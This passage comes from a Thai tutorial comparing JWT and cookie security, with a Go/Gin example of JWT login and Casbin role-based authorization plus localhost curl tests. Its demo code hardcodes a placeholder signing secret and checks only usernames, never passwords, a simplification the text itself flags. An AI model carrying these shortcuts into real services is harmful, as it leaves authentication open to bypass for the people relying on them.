JWT เสี่ยงกว่าการใช้ Cookie ถ้าเราเก็บใน localStorage เพราะไม่มี HttpOnly ช่วย เราอาจเก็บ JWT ใน Cookie เพื่อป้องกัน XSS ด้วยการตั้งค่า HttpOnly

Man-in-the-Middle Attack (MITM)

JWT และ Cookie ต้องพึ่ง HTTPS เหมือนกัน แต่ JWT มีข้อดีที่แม้จะถูกขโมยได้แต่แก้ไขไม่ได้

Cross-Site Request Forgery (CSRF)

JWT ป้องกันได้ดีกว่าถ้าไม่ใช้ Cookie เพราะจะไม่ถูกส่งอัตโนมัติ แต่ถ้าใช้ Cookie ก็ต้องพึ่ง SameSite เหมือนกัน

แนวทางการใช้งาน JWT สำหรับการทำ Authentication และ Casbin สำหรับการทำ Authorization (RBAC) ในระบบ Auth Service

  • เมื่อผู้ใช้ Login สำเร็จ ระบบจะสร้าง JWT ซึ่งภายใน Token จะมีข้อมูลอย่างเช่น username และเวลาหมดอายุ เมื่อผู้ใช้เรียก Endpoint ที่ต้องการการ Authentication จะต้องมีการส่ง JWT ใน Header (Authorization: Bearer JWT) มายัง Backend
  • หลังจากตรวจสอบ Valid และ Expired ของ JWT แล้ว เราจะใช้ Casbin ตรวจสอบสิทธิ์การเข้าถึง เช่น ผู้ใช้สามารถเข้าถึง Resource ใดและทำ Action อะไรได้บ้าง โดยในตัวอย่างนี้จะมีการกำหนดนโยบายใน File policy.csv และ Model ใน File  model.conf
package main

import (
	"fmt"
	"log"
	"net/http"
	"time"

	"github.com/casbin/casbin/v2"
	"github.com/gin-gonic/gin"
	"github.com/golang-jwt/jwt/v4"
)

// Secret key สำหรับเข้ารหัส JWT (ควรเก็บไว้เป็นความลับ)
var jwtSecret = []byte("your-secret-key")

// generateToken สร้าง JWT โดยรับ username เป็น claim
func generateToken(username string) (string, error) {
	claims := jwt.MapClaims{
		"username": username,
		"exp":      time.Now().Add(72 * time.Hour).Unix(), // อายุ 72 ชั่วโมง
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString(jwtSecret)
}

// JWTAuthMiddleware ตรวจสอบ JWT ใน Header ของ Request
func JWTAuthMiddleware() gin.HandlerFunc {
	return func(c *gin.Context) {
		// ดึง Authorization header
		authHeader := c.GetHeader("Authorization")
		if authHeader == "" {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Authorization header required"})
			c.Abort()
			return
		}

		// คาดว่า header อยู่ในรูปแบบ "Bearer <token>"
		var tokenString string
		if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
			tokenString = authHeader[7:]
		} else {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid Authorization header format"})
			c.Abort()
			return
		}

		// ตรวจสอบและแปลง token
		token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
			// ตรวจสอบ Signing Method
			if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
			}
			return jwtSecret, nil
		})
		if err != nil || !token.Valid {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid or expired token"})
			c.Abort()
			return
		}

		// ดึง username จาก claims แล้วส่งต่อ
		if claims, ok := token.Claims.(jwt.MapClaims); ok {
			c.Set("username", claims["username"])
		}
		c.Next()
	}
}

func main() {
	// สร้าง Casbin enforcer โดยใช้ model.conf และ policy.csv
	enforcer, err := casbin.NewEnforcer("model.conf", "policy.csv")
	if err != nil {
		log.Fatalf("Error creating enforcer: %v", err)
	}

	router := gin.Default()

	// Endpoint สำหรับ Login เพื่อออก JWT
	router.POST("/login", func(c *gin.Context) {
		var loginData struct {
			Username string `json:"username"`
			Password string `json:"password"`
		}
		if err := c.ShouldBindJSON(&loginData); err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request payload"})
			return
		}

		// ในที่นี้ตรวจสอบข้อมูลแบบง่าย ๆ (ใน Production ควรตรวจสอบกับฐานข้อมูล)
		// ยอมรับผู้ใช้ alice, bob และ nuttachot
		if loginData.Username != "alice" && loginData.Username != "bob" && loginData.Username != "nuttachot" {
			c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid credentials"})
			return
		}

		token, err := generateToken(loginData.Username)
		if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to generate token"})
			return
		}

		c.JSON(http.StatusOK, gin.H{"token": token})
	})

	// Group ของ endpoint ที่ต้องผ่าน JWT authentication
	protected := router.Group("/protected")
	protected.Use(JWTAuthMiddleware())
	{
		// Endpoint สำหรับตรวจสอบการเข้าถึง resource "grade" ด้วย action "read"
		protected.GET("/grade", func(c *gin.Context) {
			username, exists := c.Get("username")
			if !exists {
				c.JSON(http.StatusUnauthorized, gin.H{"error": "User information not found"})
				return
			}

			// ตรวจสอบสิทธิ์สำหรับ resource "grade" ด้วย action "read"
			allowed, err := enforcer.Enforce(username, "grade", "view")
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"error": "Error occurred during authorization"})
				return
			}
			if !allowed {
				c.JSON(http.StatusForbidden, gin.H{"error": "Access denied: You don't have permission to read grade"})
				return
			}

			c.JSON(http.StatusOK, gin.H{"message": fmt.Sprintf("Hello %s, you have access to read grade", username)})
		})
	}

	// รัน Server ที่ port 8080
	router.Run(":8080")
}
main.go

ทดลอง Login และใช้งาน JWT ผ่านคำสั่ง Curl

  • Login ด้วย Username และ Password ผ่าน API เส้น /login
curl -X POST http://localhost:8080/login \
-H "Content-Type: application/json" \
-d '{"username": "nuttachot", "password": "password"}' 
  • นำ JWT ที่ได้เพื่อเข้าถึง API เส้น /protected/grade
curl -X GET http://localhost:8080/protected/grade \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mzg4OTQwNDEsInVzZXJuYW1lIjoibnV0dGFjaG90In0.gdK2Dgxd7xo8JMvRP4uL64DscYam3tNKrvd7tK4hIMY"
ทั้งนี้เพื่อนำ Code นี้ไปใช้ในระบบจริง เราควรจัดโครงสร้าง Code ใหม่ให้แยกเป็น Package ต่าง ๆ โดยมีการทดสอบที่ครอบคลุม การจัดการ Error ที่เหมาะสม และมาตรการด้านความปลอดภัย นอกจากนี้ควรเพิ่มระบบ Logging สำหรับติดตามการทำงานด้วย